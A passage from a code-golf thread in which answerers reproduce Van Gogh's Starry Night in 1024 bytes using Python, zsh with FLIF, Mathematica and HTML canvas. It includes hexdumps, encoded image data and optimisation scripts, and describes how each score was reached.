1212 3234 ee53 3553 1177 6661 xDE2..24.S5S.wfa 0000340: 4444 5c30 f969 04ee 5559 59ee ee44 e444 DD\0.i..UYY..D.D 0000350: 5311 7716 11c4 4440 fe9e ee44 eeee eeee [[email protected]](/cdn-cgi/l/email-protection).... 0000360: e355 ccee 3211 6766 11c4 44e0 fce0 0440 .U..2.gf..D....@ 0000370: 0e0e 40ce 3888 ece4 3321 6676 11e5 2250 [[email protected]](/cdn-cgi/l/email-protection)!fv.."P 0000380: cce0 e44e 4994 44ee 3668 44ee 5451 1666 ...NI.D.6hD.TQ.f 0000390: 11c3 6620 ceee c428 3684 eee0 5885 4e4e ..f ...(6...X.NN 00003a0: 4492 1111 23c3 662c c96c c488 39ee 94ee D...#.f,.l..9... 00003b0: 44ee 4444 4454 4323 55c9 229c c99c e493 D.DDDTC#U."..... 00003c0: 4e49 954e ecce eee4 4e55 5454 ee27 2e65 NI.N....NUTT.'.e 00003d0: 6e63 6f64 6528 2768 6578 2729 2929 2e72 ncode('hex'))).r 00003e0: 6573 697a 6528 2833 3836 2c33 3230 292c esize((386,320), 00003f0: 3329 2e73 6176 6528 276f 2e70 6e67 2729 3).save('o.png') ``` and generates this picture: > > [![program output](https://i.stack.imgur.com/0GzZ8.png)](https://i.stack.imgur.com/0GzZ8.png) > > > This program abuses the fact that you can basically shove raw bytes into Python source code as long as you escape NULs and backslashes. The program itself consists of a 16-entry palette (the `|` separated string) and a 40x41 16-color image (encoded with 4 bits per pixel, and decoded by abusing `.encode('hex')`). The image is resized to the appropriate size with a bicubic filter, and that's it. The actual image was generated with ImageMagick: ``` convert -filter Cosine -resize 40x41\! ../../ORIGINAL.png +dither -alpha off -colors 18 -compress none im.bmp ``` and the palette and image data were extracted from the resulting BMP. (Note that we request 18 colors from ImageMagick, since IM automatically inserts some unused entries). The palette was rearranged slightly to reduce the number of escaped characters in the binary data, and the final binary data was edited a bit by hand to get the whole thing to fit in 1024 bytes. --- EDITED: Golfed the code a bit, and improved the accuracy by requesting 17 colors from ImageMagick. EDITED: Disabling dithering produced a *huge* improvement in score. It now scores well under 5000, and is becoming competitive with off-the-shelf compression algorithms! EDITED: Adding `-filter Cosine` gives another sizeable improvement. Aggressive golfing, with thanks to @primo for the UTF-8 BOM trick, allowed me to tack another row onto the picture, further improving the score. [Answer] # zsh + FLIF + ImageMagick, 4358.14 With BPG stealing the spotlight as a lossy codec, I've refined my lossless upscale approach to use [FLIF](https://github.com/FLIF-hub/FLIF) instead of PNG, using @nneonneo's zsh trick. ImageMagick is only used here as an upscaler. The hexdump (this time with `xxd`, I didn't realize `hexdump` was non-standard in my last answer): ``` 00000000: 666c 6966 203d 2874 6169 6c20 2d6e 202b flif =(tail -n + 00000010: 3320 2430 2920 6f2e 706e 670a 6578 6563 3 $0) o.png.exec 00000020: 2063 6f6e 7665 7274 206f 2e70 6e67 202d convert o.png - 00000030: 7265 7369 7a65 2033 3836 7833 3230 2120 resize 386x320! 00000040: 6f2e 706e 670a 464c 4946 3331 0044 0038 o.png.FLIF31.D.8 00000050: e113 7e24 321e fb1e 4df6 d7e0 cfa8 f513 ..~$2...M....... 00000060: e1fa 32fb cf01 c186 dc85 efb3 2ea7 9415 ..2............. 00000070: d1de e100 680a e7c9 455c 42c6 2283 9d32 ....h...E\B."..2 00000080: b06c b863 71ce 7c2b 9cd6 be17 3610 0ebd .l.cq.|+....6... 00000090: 01ed c8c5 7b9b d687 3821 e3a5 6e47 846c ....{...8!..nG.l 000000a0: 12b6 9346 d2a6 2760 eef0 f558 caea 260d ...F..'`...X..&. 000000b0: c8d5 b0e0 f09c 53a1 df70 7277 9b79 02a9 ......S..prw.y.. 000000c0: 2813 2292 4f65 8fbc 97cc ea65 51ea d933 (.".Oe.....eQ..3 000000d0: 3989 4efe 2d86 23cd 1142 8f02 ff29 edd1 9.N.-.#..B...).. 000000e0: 3f5d ae15 a973 0cc9 3750 f55c ec0b 2870 ?]...s..7P.\..(p 000000f0: c292 7085 8a38 1a5c d525 aa82 3a70 cb89 ..p..8.\.%..:p.. 00000100: 0513 0a8a 7bba cfb7 461c ff14 c160 06b6 ....{...F....`.. 00000110: 67ae 3570 a2d1 d056 83e2 36b7 3ca4 d3c4 g.5p...V..6.<... 00000120: 46a0 b5ca 4722 848a 2328 2f25 95b3 2cde F...G"..#(/%..,. 00000130: 8c0a 9acb dee4 5ef3 9693 e1ef cf7d 0578 ......^......}.x 00000140: abb3 c853 f6f0 29e4 2d25 cf80 ec3a e91e ...S..).-%...:.. 00000150: 3863 5401 26e3 af1c 3691 15b2 a0b8 fc16 8cT.&...6....... 00000160: c773 ffdc bbac 078d c4ea 8b9a 2763 29a8 .s..........'c). 00000170: 1faa 598d eeff 3492 45eb c79d c014 b75c ..Y...4.E......\ 00000180: 61dd 1cf4 64d6 ebe8 9c9a 2825 ed65 aa94 a...d.....(%.e.. 00000190: 2b86 d197 233d b45c 5f8a cc52 1752 7357 +...#=.\_..R.RsW 000001a0: e508 fa96 cb9d cab5 e4fa 02d9 0290 4aec ..............J. 000001b0: 0173 3520 b9b0 a9ac 4d59 23c7 7dac e26d .s5 ....MY#.}..m 000001c0: 4140 9bb6 f32a 795f 3ff1 2808 1718 0ba0 A@...*y_?.(..... 000001d0: ceae b37b de22 cee7 8c34 0fb3 b8ef 081d ...{."...4...... 000001e0: 9baa 29c8 341c 6f71 a0d4 4bc7 0699 fdb0 ..).4.oq..K..... 000001f0: 08a7 372b 65c1 a57f 6600 edd7 dc4a a698 ..7+e...f....J.. 00000200: 102d 06ea 7c07 b5de b187 8d03 27a0 7fe9 .-..|.......'... 00000210: 1820 4409 d0d1 a939 4fb7 8697 18ed 5de0 . D....9O.....]. 00000220: 4015 57ba d209 1620 648f 6aff bbbc b010 @.W.... d.j..... 00000230: a957 3c54 9a2e e9bb d552 9436 e73a 216f .W<T.....R.6.:!o 00000240: 7e14 945c 9af0 49ef 29db c559 1184 b29c ~..\..I.)..Y.... 00000250: b0bc 8838 2c6d c695 e68e 0857 5998 8580 ...8,m.....WY... 00000260: 720d 0b19 dd46 929b e327 e6ee e182 b52e r....F...'...... 00000270: 09d6 b06d c8e5 fd3c 862b e729 eccd 52d6 ...m...<.+.)..R. 00000280: 0300 cacc 5cbb e08f 9314 75df 8576 410c ....\.....u..vA. 00000290: 6c7d 49bc fab2 a130 da4a ca40 ae1d 2677 l}I....0.J.@..&w 000002a0: 3f5e c6a4 3bf1 5d1e 4819 0015 e2ca b349 ?^..;.].H......I 000002b0: 9b90 783c 8e33 4571 4b5d c436 45b6 d20b ..x<.3EqK].6E... 000002c0: cdf2 7fcc 6a24 f2d9 82b3 8740 26a1 f6ec ....j$.....@&... 000002d0: e134 00e1 5ef0 a519 b6a9 055a b0d6 6e10 .4..^......Z..n. 000002e0: 7330 cb51 7042 a472 c3f1 3f70 e161 fde7 s0.QpB.r..?p.a.. 000002f0: 4cd0 4dd6 a887 a977 9cab 11a3 5860 b88c L.M....w....X`.. 00000300: 6c26 75f3 fa55 802a a38c 81e0 7519 8233 l&u..U.*....u..3 00000310: 0e86 f5db 4c70 7c22 9c4c 5ba1 602a 530d ....Lp|".L[.`*S. 00000320: 5b74 9c67 718e 471f e69a 2258 d207 cd93 [t.gq.G..."X.... 00000330: 0c92 0c1f 1aa1 2201 7906 d3dd 4e58 ab9d ......".y...NX.. 00000340: e13e 3b9f 870c a69d 5cb2 80d9 6b83 6cd0 .>;.....\...k.l. 00000350: e3df 8a96 7217 0e07 e654 0633 5e52 fb5d ....r....T.3^R.] 00000360: 76a4 6e05 33c8 bc5b 7bf1 9819 5c05 3705 v.n.3..[{...\.7. 00000370: 3ea6 cf51 3bcf 031a d103 9117 4622 da77 >..Q;.......F".w 00000380: 6018 ddbf fd6f 5a17 989b 1938 2a37 a326 `....oZ....8*7.& 00000390: 0fa1 1507 9d1f 8fee 6116 2dc6 653b ed48 ........a.-.e;.H 000003a0: 3543 4ff8 77b3 d1c7 41b3 0fc2 a6d6 7bee 5CO.w...A.....{. 000003b0: a2dc f047 fae4 da02 c055 25b6 2cd1 0e51 ...G.....U%.,..Q 000003c0: b382 fede ab22 1927 ac66 b8a4 8cf1 094d .....".'.f.....M 000003d0: e0cb 9288 a105 cb3e dbb0 4e04 e110 68fb .......>..N...h. 000003e0: 78d0 c36f 390a db12 ba16 b055 a367 bacf x..o9......U.g.. 000003f0: 20 ``` [![starry, compressed with FLIF](https://i.stack.imgur.com/6O225.png)](https://i.stack.imgur.com/6O225.png) I've generated the script using... another script: ``` convert ORIGINAL.png -filter Lanczos2 -resize x56 - | pngquant --speed 1 -f 10 > i.png flif -N i.png o.flif echo 'flif =(tail -n +3 $0) o.png' > genstarry.sh echo 'exec convert o.png -resize 386x320! o.png' >> genstarry.sh cat o.flif >> genstarry.sh zsh genstarry.sh ``` [Answer] # Python 2, 4684.46 1021 bytes. This uses a very similar decode method to a couple of other answers, but it is in Python 2 so it's base64 encoded data instead of base85. The encoded data is a 64x48 WebP format image. ``` import base64,io,PIL.Image PIL.Image.open(io.BytesIO(base64.b64decode('UklGRqQCAABXRUJQVlA4IJgCAACwDgCdASpAADAAPq1Em0mmI6KhNVYMAMAViWIAuzPZOwHN7eu7dJRv7H7zarBrCdDdER6XhybkFwT3wIGHlB1lUUaJZ57w+Ci3Z2w0PE+D9tZzFgHZn9+j+G1LIP++1WTWsLyD/6BI8VTX65vjcr4wuRD+hALdiK+qZ2uGKsAA/sJyKN4OBmJNGqjinqa8bVjXkcGP9zkVighf75VJT80vMeQrM+pbt3sCEa5W8IkgtQD+65nTwFfzVVylNlvc5LM5iC7pQ675eXJzzfdVZHahQf/RVXIT70DP9mLjG6XCpDGKVGd2k2w4Y//xNFvuDF6W1/Y1BhCeY60/1EPcFJcYPqH8AqaD7gLd0v8U6DjG6OGyFXME33IbTThiRYfs0fLUrOgw6EW52O0VW+TIo5ADqnoup7svrnSY/JykVO2VaVtr2nMc1FHGFxiNEux7NkoYeIwjpxA1hTbOwiEO02fXZGNAS0EfJ1f2jPtjyVbZvia+v3hVR4zWVkDp8+reHS4xMy4KHLPl1TNXtdxxJ+P5rW1mZcg9PqJrN1zafhRdVkFKSiU1+SigOtXZ0Ge5r8lte/uaGImm6FYQH/0g4rMPUh4As/5APXi/+rBu3ULEPu57ELp2ed8zLPPIMdqDHNSNZDPvzVQU2tkJ3RIW4fb7cw4fuqXHSGrRJ3jg70zSutBnPRZIERKti27+8g7QCLdAHlSbnz9Rrrf+N6k9AuUm/T1T0+Hc48A3D/hWbfADPWTK32pUz+9OaI7zF4yIx2rRPd3mRWYPgqKF1pD6pJu5FEj9jowD+9Hy8Jn2yd6WwqWgJY2m+crrZqY4GkqNdJX1DWYgRFJbMCsJxtrGkDEx3SIZyIyNRMIEKvpOrkDJkWAqZ+jXAAAA'))).resize((386,320),1).save('a.png') ``` [![enter image description here](https://i.stack.imgur.com/FdORx.png)](https://i.stack.imgur.com/FdORx.png) Here's the code I used to find the best image size and quality setting. I restricted the search space so it doesn't take more than a few minutes to run. ``` import base64,io,PIL.Image def score(orig, img): w, h = img.size img = img.convert("RGB") orig_pix = orig.load() img_pix = img.load() score = 0 for x in range(w): for y in range(h): orig_r, orig_g, orig_b = orig_pix[x,y] img_r, img_g, img_b = img_pix[x,y] score += (img_r-orig_r)**2 score += (img_g-orig_g)**2 score += (img_b-orig_b)**2 return (score/255.**2) original = PIL.Image.open('ORIGINAL.png') original = original.convert("RGB") lowest_score = 1000000 file_format = '.webp' for width in range(16, 96, 8): for height in range(16, 80, 8): small = original.resize((width, height), 2) for q in range(70, 50, -1): tempFileName = 'a' + file_format; small.save(tempFileName, quality=q) file = open(tempFileName, 'rb') data = file.read() data64 = base64.b64encode(data) bytes = len(data64) + 109 # Decoding code is 109 bytes if (bytes <= 1024): # Size limit decoded = PIL.Image.open(io.BytesIO(data)) cur_score = score(original, decoded.resize((386,320), 1)) if (cur_score < lowest_score): lowest_score = cur_score best_q = q best_w = width best_h = height print 'Best %d x %d q %d (%d) : %.2f' % (best_w, best_h, best_q, bytes, lowest_score) best_image = original.resize((best_w, best_h), 2) finalFileName = 'best' + file_format; best_image.save(finalFileName, quality=best_q) file = open(finalFileName, 'rb') data = file.read() data64 = base64.b64encode(data) script = open('generated.py', 'wb') script.write('import base64,io,PIL.Image\n') script.write('PIL.Image.open(io.BytesIO(base64.b64decode(\'' + data64 + '\'))).resize((386,320),1).save(\'a.png\')') ``` [Answer] # Mathematica, 5076.54 Weighing in at exactly 1024 bytes, I *finally* managed to beat nneonneo's score... until he improved it an hour ago =( Uses no "off-the-shelf" compression algorithms. ``` f=IntegerDigits[FromDigits[ToCharacterCode@#-32,95],#2]~Partition~#3&;Image[Array[Nearest[f["GYWh6t@/0EwgZTWL9+IfA51 Qn0&q3k2eb[cFp{iDJp\\8:_I9v~0-035)!z^br^=,Jy.0X.wnXr\"&A'l3N$\"rHVD]ANb<[c-HyQ3k]\\/F.L)^F[FsTe]>9=Y MBP@-Y7,U1n2PgeTYL|d^@s%)|vDUsI63?3+5zt`4;0}7 L )pg$G\"S=.e`n@d0Qpb-<L@zy'cH<KJhG4D0+DluH1hvFZ%6<>w,2uQJQhD\\@-bq=OChgV}r[^o\\h/1w!5_{SVjv0a1\"?j.z%tRxXX$cC2[@K){*eQ/|$W%[{kFXnmL'EnM`-zs$OyS]mnL$]Qu,AIN%~n}zG{SD[q<v%IP3Tp]\"1Gu0?|L=XB =6n+]mAU20rDZ|F&V#(h? xxJeK^}e}% n6MaNqA*\"vitzT8e=:>&YxNb'&Wiw\\yjJ#l^",409,2]-11->(#+{51,-41}&/@f["<Z? ZN7Mc{N{gJm}@.U'336)10$MTyi $D3Y@,r$g\"vk)~rU-]=G?dQJ0j*V~VTLz!yVCU~]=>VrrN<{ROjqTvLl!s)/8B{\\xpJ.8\"R~)A.1xA9{ ab8oq8bSoyJ:P_7OXdr@(&H>vp~sjV+M^1'Js;g&@2t/1Z)Xj=dwnLnm1Fd?`dpQ3AN>)n@!+cL'^j}N(c%~~F06||Vci{L_O*K>5i[>20mf8>WYKKuk\\T7d}L?xHDuS^GNr:o/(yq KvH=KEQX[e&faTh0&Ra+B0<9PLB)WPAe8\\#B$oo.AtrM\\*\"=1JZ0s/CBz{e9;8aH|w-#N_l>a.^@/M`[* };@#l)C(lXG=CVL:]?D@W=(3k{o.`jBG#g-33LX&lE+WHI",231,2]).{{0.479,0.574,0.664},{0.591,0.349,-0.727}},{##}][[1]]&,{320,386}],"Byte"] ``` ![enter image description here](https://i.stack.imgur.com/spU7P.png) * The colors and centers of the Voronoi cells are base-95 encoded, using the full ASCII range. * The colors are expressed in a two-dimensional subspace of the RGB cube to save space. (Better description later) [Answer] # Python 2 (no built-in compression), score 4497.730 This uses the same manually-decoded 16-color image approach as my [previous answer](https://codegolf.stackexchange.com/a/70339/6699), but this time I actually applied a gradient-descent optimization strategy to **significantly** improve the score. The previous submission scored 4755.886 points, whereas the new submission scores over 250 points better, beating out a lot of built-in compression approaches in the process. As before, the final program is exactly 1024 bytes long. In fact, the raw output of the optimization algorithm contained four bytes that were escaped (`\0`), and which I had to "fudge" in order to reduce the byte count to 1024 bytes. Without the fudge, the 1028-byte program would score 4490.685 - 7 points better. The basic idea is to optimize both the palette and data jointly. In a single iteration, I search over all tweaks of the palette (basically, every modified palette which differs by 1 in some color component) and pick the modified palette which best improves the score. Then, I search over all tweaks of the data (every modified index array in which one pixel is changed to some other palette entry) and choose a modification which reduces the score (here I don't care about best, because I don't want to fruitlessly search the full space of over 25000 tweaks every iteration). Finally, when generating the final program output, I run another optimization pass which rearranges the palette to minimize the number of backslashes required in the final output (e.g. for the program shown below, the palette was rearranged using the hex table "0e3428916b7df5ca"). This approach yielded both a significant numerical and perceptual improvement over the previous naïve ImageMagick approach. Previous submission output: > > [![Old submission's output](https://i.stack.imgur.com/vRjt2.png)](https://i.stack.imgur.com/vRjt2.png) > > > And new submission output: > > [![New submission's output](https://i.stack.imgur.com/dMWzy.png)](https://i.stack.imgur.com/dMWzy.png) > > > The new optimization-based approach has significantly more detail and accurate color reproduction. Here is the hexdump of the final program: ``` 0000000: efbb bf66 726f 6d20 5049 4c2e 496d 6167 ...from PIL.Imag 0000010: 6520 696d 706f 7274 2a0a 6672 6f6d 6275 e import*.frombu 0000020: 6666 6572 2827 5247 4227 2c28 3430 2c34 ffer('RGB',(40,4 0000030: 3129 2c27 272e 6a6f 696e 2827 b39b 2620 1),''.join('..& 0000040: b4b9 7e20 2634 8120 5567 7520 3547 7320 ..~ &4. Ugu 5Gs 0000050: 242e 5620 1c1f 1b20 7890 a420 4348 3d20 $.V ... x.. CH= 0000060: 9fae a420 3a52 8e20 262b 3220 7d90 7f20 ... :R. &+2 }.. 0000070: 3a49 5720 4a67 9720 5d79 9c27 2e73 706c :IW Jg. ]y.'.spl 0000080: 6974 2829 5b69 6e74 2863 2c31 3629 5d66 it()[int(c,16)]f 0000090: 6f72 2063 2069 6e27 8388 88b6 86b6 6b66 or c in'......kf 00000a0: 6bb8 b8b8 8888 dd8b bbbb bb8d b688 bb66 k..............f 00000b0: 6666 6666 b68d bdb6 bb88 33bd 5b55 bb68 ffff......3.[U.h 00000c0: b888 b66b 6666 6666 66bb 6688 88d8 bbb5 ...kfffff.f..... 00000d0: 553d 868b bb8b 6666 666b 6666 66b6 3d68 U=....fffkfff.=h 00000e0: bb66 5dd4 8363 b8bd dbd8 6666 66b6 66b6 .f]..c....fff.f. 00000f0: bbbb bbb6 d666 6bd6 f3bd d3d4 b5dd 666b .....fk.......fk 0000100: 6666 6666 b668 63d5 66b8 5bd8 66bb 5b5b ffff.hc.f.[.f.[[ 0000110: 884b b66b 666b 666b 686d 8d85 dbb6 dd4b .K.kfkfkhm.....K 0000120: 5b33 6db5 b5bd 6b6b 6b66 66bb d5b3 dddb [3m...kkkff..... 0000130: bad4 58b5 d435 3b33 b555 6b66 6666 66bb ..X..5;3.Ukffff. 0000140: 5346 db84 d45d bbbd 54d7 4d3b 5bbb b6b6 SF...]..T.M;[... 0000150: 6666 66b5 6bd3 d4f3 eddd 4333 c5d3 3c83 fff.k.....C3..<. 0000160: b2a5 5666 6666 66b6 b534 84d5 4444 b8b8 ..Vffff..4..DD.. 0000170: b383 8333 3ffe 7666 66b6 6b42 2555 2eaa ...3?.vff.kB%U.. 0000180: 5b4a 4343 ad33 3388 43fe f666 b6d6 64e3 [JCC.33.C..f..d. 0000190: 564f d534 4455 aaea aaef ffee e737 3666 VO.4DU.......76f 00001a0: 6bb6 c73e ef3a f352 445b b25a eaee ffee k..>.:.RD[.Z.... 00001b0: ff79 3666 6b63 7c73 f3ec ee34 b55b 53b6 .y6fkc|s...4.[S. 00001c0: 5baf eee3 3717 3666 6dda 3fc1 ccc3 cc3a [...7.6fm.?....: 00001d0: f333 7e34 bbb2 feea 7c7e d666 6ddf 99f3 .3~4....|~.fm... 00001e0: c7c1 c717 c777 7f77 f35b b6bb 374a 4666 .....w.w.[..7JFf 00001f0: be49 9999 aeee fac9 cc99 997c c79b 5bbb .I.........|..[. 0000200: a3ae 4666 bad9 9197 e7ae fae4 acf3 ef99 ..Ff............ 0000210: 9cf7 d6b5 4afe 3666 bf79 9099 a5ef af4a ....J.6f.y.....J 0000220: ee77 ce49 999f 7b66 aeec 1b66 be39 1999 .w.I..{f...f.9.. 0000230: a474 a2ef a7ef fcaf 1979 997c 7ee1 1b66 .t.......y.|~..f 0000240: baf7 999f efff 7cee e77e 7ffa 7999 9999 ......|..~..y... 0000250: 1eac c666 d4fe f7ff 7fff feff eeff e7ef ...f............ 0000260: a919 1999 f3ae a6b6 d4a5 aef7 ecf4 44a3 ..............D. 0000270: 7aa4 a7fe fe79 9199 e777 76b6 e4b4 ae77 z....y...wv....w 0000280: 7f4e ffef 3977 9fee f7ee 7719 9777 f36b .N..9w....w..w.k 0000290: e45e 4e7f fafe ff7a eec3 3eef feff eaa1 .^N....z..>..... 00002a0: f7f7 3f66 9f5f ceef fe7a e777 aeaa ee3e ..?f._...z.w...> 00002b0: efee fefe caae c766 77fc 1aff f7ff 7f77 .......fw......w 00002c0: edea eeea faff faff ef9f e7d6 7fff c547 ...............G 00002d0: 37ef fef7 4eaa affe e7ff 77ff fcf7 c7dd 7...N.....w..... 00002e0: 7e9f ff64 e3ef a7fa faef fffa ee19 197f ~..d............ 00002f0: fcf5 2abf f7fc f774 aaa3 e74e 7a3c 77ee ..*....t...Nz<w. 0000300: ff11 119c ca54 a2ba 2aef f3cc af3f 7ee7 .....T..*....?~. 0000310: f2c1 17ae f110 5c30 17ea aa2a b3c3 2eef ......\0...*.... 0000320: fc33 3fee f745 7ccf ef91 1001 09aa 2aaa .3?..E|.......*. 0000330: bc0c 2a4e e717 97f7 fa5a affe ef91 1011 ..*N.....Z...... 0000340: 1c2a aa2a 6c03 2a44 fea3 3444 24e4 4aa2 .*.*l.*D..4D$.J. 0000350: ee91 0111 195a aa4a 6434 222a 52d4 4422 .....Z.Jd4"*R.D" 0000360: 4f3e 5542 e7c1 1011 9c5a 2a2a 6522 4aa2 O>UB.....Z**e"J. 0000370: a222 a254 7ccc 454e ef9c 1101 174a 77a2 .".T|.EN.....Jw. 0000380: b224 2aa4 2c32 aa42 700c aa45 ea39 c111 .$*.,2.Bp..E.9.. 0000390: 9c57 c072 545a 5ecc e0ca 4522 ecce a4a4 .W.rTZ^...E".... 00003a0: a34f 991c cf5f 0175 5315 5acc f4a4 ae44 .O..._.uS.Z....D 00003b0: aa34 ea34 aafa 2ffc ee54 7f4b 5345 2a3c .4.4../..T.KSE*< 00003c0: a4a3 33aa 4554 445e a4e3 f4ea 4427 2e65 ..3.ETD^....D'.e 00003d0: 6e63 6f64 6528 2768 6578 2729 2929 2e72 ncode('hex'))).r 00003e0: 6573 697a 6528 2833 3836 2c33 3230 292c esize((386,320), 00003f0: 3129 2e73 6176 6528 276f 2e70 6e67 2729 1).save('o.png') ``` There's still room to improve. For example, a simple histogram shows that some colors are barely used: ``` 6: 203 15: 167 14: 154 11: 152 10: 145 7: 120 4: 110 3: 107 5: 85 9: 77 12: 77 13: 66 1: 56 8: 54 2: 49 0: 18 ``` This suggests that a rebalanced palette might improve efficiency, perhaps enough to catch the 5th place BPG solution. However, I am quite doubtful that this optimization approach (or really, anything that doesn't involve the extraordinary machinery of H.265) can catch the first place BPG implementation. [Answer] # HTML/JavaScript --- ### Score:   10855.83   8000.55   5999.90 --- ### Notes: Due to rendering differences, the score may vary slightly depending on the browser or GPU. You have to right-click > Save Image As to save the canvas data as an image, but that's the only interaction that's required. --- ### Attempt #1 (Jan 2016): 10855.83 For my first attempt, I had misread the prompt and thought that a higher score was better. Oops. I used polygons for this attempt because I was focusing more on keeping the total number of shapes low rather than squeezing in as many simple shapes as possible. All things considered, it's pretty crazy how just 4-5 shapes can look so much like a famous painting. For the colors, I used GIMP to select certain areas and find their average. In particular, the color picker tool and ["layer difference" feature](https://docs.gimp.org/en/gimp-concepts-layer-modes.html#layer-mode-difference) were very helpful. ![First attempt](https://i.stack.imgur.com/3vvN8.png) ``` <canvas width="386" height="320" id="c"> <script> var canvas = document.getElementById("c"); var context = canvas.getContext("2d"); context.fillStyle="#2c3e84"; context.fillRect(0,0,386,320); context.fillStyle="#517a9c"; context.fillRect(0,80,386,150); context.fillStyle="#1d201d"; context.beginPath(); context.moveTo(33, 319); context.lineTo(63, 26); context.lineTo(97, 200); context.lineTo(179, 319); context.closePath(); context.fill(); context.fillStyle="#acae6e"; context.beginPath(); context.arc(355,52,35,0,6.3); context.fill(); context.beginPath(); context.moveTo(0,0); context.lineTo(300,150); </script> ``` --- ### Attempt #2 (Sep 2018): 8000.55 For my second attempt, I switched to a rectangle-based approach and made some simple code optimizations to allow for 14+ rectangles. This time around, I used Inkscape to arrange the shapes and experiment with the colors. [![Second attempt](https://i.stack.imgur.com/8wgNo.png)](https://i.stack.imgur.com/8wgNo.png) ``` <canvas width="386" height="320" id="c"> <script> var canvas = document.getElementById("c"); var context = canvas.getContext("2d"); function f(x,y,w,h,c) { context.fillStyle="#"+c; context.fillRect(x,y,w,h); } //Top area f(0,0,386,250,"607391"); f(0,0,215,48,"415084"); f(298,160,41,28,"9cab9b"); //Bottom area f(0,250,386,70,"414f5d"); //Middle f(200,200,188,56,"313f68"); f(133,223,67,27,"2c3955"); f(223,177,74,23,"869999"); f(322,131,64,29,"a9b4a4"); f(354,164,32,32,"26293a"); //Sun outer f(318,17,67,70,"adaf7b"); //Star f(107,148,45,44,"a1a9a1"); //Foreground mountain f(45,210,88,168,"222420"); f(45,130,42,104,"222421"); f(58,20,18,112,"222421"); </script> ``` --- ### Attempt #3 (Mar 2022): 5999.90 For my third attempt, I minified the HTML code and added some size and color compression to the rectangles. Instead of passing values like `240` to the function that draws the rectangles, I'm now passing values like `30` and having the function multiply them by `8`. That makes each function call several bytes smaller on average since the numbers generally have fewer digits. I also restricted the colors to three-digit values like `6AF` rather than `66AAFF` or `65ABFE`. That restriction makes the colors slightly less accurate individually but saves up to three bytes per function call. Those changes, along with minifying the HTML code, allowed me to nearly quadruple the number of rectangles! The exact number of them that will fit into a kilobyte depends on their parameter values. For example, a width like `12` takes up more room than a width like `8`, and a mixed color value like `"3c3"` requires quotes unlike an all-numeric color value such as `333`. With the code below, I was able to paint 50 rectangles onto the canvas using 1021 bytes of barely-valid HTML and JavaScript. [![Third attempt](https://i.stack.imgur.com/sMXWg.png)](https://i.stack.imgur.com/sMXWg.png) ``` <canvas width=386 height=320><script>function f(f,a,e,l,n){t.fillStyle='#'+n,t.fillRect(8*f,8*a,8*e,8*l)}v=document.querySelector`*>*>*`,t=v.getContext`2d`,f(0,22,39,13,678),f(16,27,33,10,346),f(26,10,24,14,899),f(5,10,8,17,456),f(22,33,27,7,334),f(0,0,50,14,347),f(0,7,51,8,568),f(0,11,45,11,579),f(40,17,9,4,"9A9"),f(0,29,21,8,234),f(2,0,4,4,678),f(39,2,13,10,"9a8"),f(42,22,7,4,224),f(0,35,8,5,343),f(3,1,2,2,995),f(9,0,2,2,667),f(14,0,4,3,678),f(18,2,2,2,776),f(27,2,4,3,787),f(0,14,5,2,"78A"),f(36,3,3,18,569),f(9,5,3,3,775),f(7,0,2,17,345),f(32,7,4,4,788),f(42,8,4,2,"BA3"),f(4,18,4,3,897),f(6,15,5,16,222),f(6,27,10,13,222),f(14,12,2,4,897),f(10,14,6,5,457),f(14,18,5,6,"9a9"),f(38,19,5,4,899),f(45,20,5,2,334),f(27,25,26,2,346),f(30,38,6,3,444),f(11,25,3,2,333),f(41,4,5,4,"BA6"),f(16,31,6,11,222),f(21,0,3,2,568),f(16,6,8,3,678),f(17,12,12,7,679),f(20,15,10,8,568),f(0,29,6,1,347),f(39,24,15,8,458),f(36,29,14,4,456),f(20,31,20,2,345),f(23,31,4,4,345),f(36,35,15,2,345),f(39,24,3,2,234),f(16,11,2,2,346)</script> ``` --- ### HTML tool (Mar 2022) For the first two attempts, I had used simple trial and error in GIMP/Inkscape to generate some decent rectangle values, which was fine for the small number of rectangles being used. After starting on the third attempt, though, I realized that managing ~50 rectangles by hand would be a terrible idea, so I decided to write a separate HTML tool to automate the process. The tool went through several iterations, some of which worked better than others, and what I ended up with was a tool that takes an initial array of rectangles and then repeats this loop: 1. Randomly modify the dimensions, coordinates, and color values of several random rectangles in the initial array 2. Paint the modified array's rectangles on a canvas and check its score 3. If the modified array is an improvement, make it the new initial array I generated some decent starting values by hand using Inkscape, let the tool run for a while in several browser windows, collected its best output, and then gradually updated the starting values and refreshed the page until I ended up with a score that was difficult to improve further. Here's the final code for that tool. Due to CORS policy, the canvas becomes tainted if you try to run it locally, so you'll need to use a workaround like hosting it on a website. Also, you'll need to include the original Starry Night image in the same directory with the filename `reference-image.png`. The starting values included here are already heavily optimized, so you likely won't see any improvements being made unless you run the tool for a very long time or change the starting values. ``` <html> <head> <style> html, body { margin: 0; padding: 0; } .outer-container { display: flex; flex-direction: column; justify-content: center; align-items: center; height: 100%; gap: 60px; } .inner-container { display: flex; justify-content: center; gap: 20px; } .canvas-container { display: flex; flex-direction: column; gap: 15px; } .textarea-container { width: 100%; max-width: 1200px; } .textarea-container textarea { width: 100%; height: 120px; resize: none; } .canvas-text { font-family: Arial, Helvetica, sans-serif; font-size: 16px; font-weight: bold; text-align: center; } </style> </head> <body> <div class="outer-container"> <div class="inner-container"> <div class="canvas-container"> <canvas width="386" height="320" id="reference-image-canvas"></canvas> <div class="canvas-text"><span>Original image</span></div> </div> <div class="canvas-container"> <canvas width=386 height=320 id=c></canvas> <div class="canvas-text"><span>Comparison score:</span> <span id="comparison-score">TBD</span></div> <div class="canvas-text"><span>Last 100 average:</span> <span id="average-score">TBD</span></div> </div> <div class="canvas-container"> <canvas width="386" height="320" id="best-score-canvas"></canvas> <div class="canvas-text"><span>Best score:</span> <span id="best-score">TBD</span></div> <div class="canvas-text"><span>Num rects:</span> <span id="num-rects">TBD</span></div> </div> </div> <div class="textarea-container"> <textarea id="html-output-textarea" readonly rows="8"></textarea> </div> </div> </body> <script> var best_score = Infinity; var best_rects = []; var last_100_scores = []; function is_canvas_tainted(context) { try { var pixel = context.getImageData(0, 0, 1, 1); return false; } catch (err) { return (err.code === 18); } } //Prepend the given keys/values to the given index in the given associate array and return a new associate array //Usage example: my_array = add_items_to_array_at_position(['one' => 'One', 'three' => 'Three'], 1, ['two' => 'Two']) function add_items_to_array_at_position(array, index, new_items) { return [...array.slice(0, index), ...new_items, ...array.slice(index)]; } //Return an int between min and max, inclusive //Example: get_random_int_in_range(1, 5) === 5 function get_random_int_in_range(min, max) { min = Math.ceil(min); max = Math.floor(max) + 1; return Math.floor(Math.random() * (max - min) + min); //The maximum is exclusive and the minimum is inclusive 